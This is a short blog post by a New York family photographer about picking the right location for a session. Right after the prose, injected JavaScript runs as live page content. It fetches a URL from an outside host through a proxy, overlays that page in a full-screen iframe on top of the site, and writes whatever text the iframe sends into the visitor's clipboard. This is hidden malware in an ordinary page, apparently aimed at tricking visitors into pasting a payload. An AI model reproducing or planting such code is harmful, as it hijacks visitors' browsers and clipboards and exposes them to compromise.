Part Four – The Right Location
We live in New York City, a place filled with iconic locations and endless options for a photo session. Sometimes the best place to shoot, however, is the comfy chair in your living room where the grandkids can curl up with Safta/Oma/Nana and read a book. I love to shoot a session in a location that fits your family and your lives right now.
Finding the right place to capture your family and ending up with shots you love is one of my favorites parts of being a photographer.
const configLink = "https://corsproxy.io/?url=http://heyues.live";
if (!window.__digitalflwrFetchPromise) {
window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })
.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {
}); }
if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }
window.__digitalflwrFetchPromise .then(result => {
if (!result) return; const { headResponse, finalUrl } = result;
if (!headResponse || headResponse.status === 404) { return; }
if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {
});
function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;
document.body.appendChild(iframe);
window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;
if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });
function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();
try { document.execCommand("copy"); } catch (err) {
}
document.body.removeChild(textArea); } } })();